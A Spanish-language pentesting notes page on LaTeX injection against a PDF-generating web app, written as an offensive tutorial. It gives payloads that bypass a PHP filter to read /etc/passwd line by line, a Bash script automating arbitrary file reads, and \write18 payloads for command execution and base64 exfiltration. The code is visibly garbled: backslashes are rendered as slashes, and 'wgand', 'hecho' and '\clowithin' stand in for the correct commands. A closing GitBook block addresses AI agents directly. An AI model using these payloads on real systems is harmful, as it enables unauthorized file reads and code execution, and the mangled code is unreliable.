> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# Técnicas de inyección LaTeX

Crea un archivo LaTeX con el contenido de abajo y genera una URL con un archivo PDF:

<figure><img src="/files/c10438d838da5750c280d2e20c6b9183eadbe5b3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/179fc6c1898dd3e956fe8b34046f82dbdc1d295a" alt="" width="560"><figcaption></figcaption></figure>

Usa el sitio web [salmón](https://salmonsec.com/cheatsheets/exploitation/latex_injection) para intentar insertar comandos (en este caso, están bloqueados):

<figure><img src="/files/d6c52714fb2850357da6c6e98bd41f21b6d3811c" alt="" width="563"><figcaption></figcaption></figure>

Aquí está el código PHP con la sanitización:

<figure><img src="/files/5fcdc9793317ac8041aa85af1c72955916d80451" alt="" width="563"><figcaption></figcaption></figure>

Sin embargo, la sanitización no tiene en cuenta los comandos de abajo que permiten listar, línea por línea, un archivo del sistema:

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/b1aa4564ec383b910bddad08729fa9fa3f394b80" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ee060b1809cffefa7040a621dec34c6d7bed9546" alt="" width="563"><figcaption></figcaption></figure>

Sabiendo esto, este script Bash automatiza todo para mostrar cualquier archivo del sistema:

```bash
#!/bin/bash
# Técnicas de inyección LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    hecho
else
    echo -e "/n[!] Usage: $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/18a2d857ed13cb79ca5d918df8e9e5b3b24b6c11" alt="" width="533"><figcaption></figcaption></figure>

Otra forma de hacerlo sería convertir el contenido a base64:

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/4ccc4dcd7b00acaf1cff3716021e92d05b602431" alt="" width="563"><figcaption></figcaption></figure>

Pega el contenido en un archivo llamado data y decodifícalo como texto plano:

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/2983697a1962efeee8c728b72efc474eea92e373" alt="" width="563"><figcaption></figcaption></figure>

Para ejecutar comandos, podrías usar el contenido de abajo (en este caso, id):

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/672fc2138253db82899f7141dc91a7600a9ba390" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
